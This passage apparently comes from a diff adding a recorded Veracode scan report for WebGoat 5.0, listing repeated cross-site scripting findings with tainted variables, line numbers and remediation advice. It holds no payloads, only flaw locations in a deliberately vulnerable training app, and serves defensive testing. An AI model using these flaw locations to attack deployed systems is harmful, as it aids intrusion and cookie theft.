+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
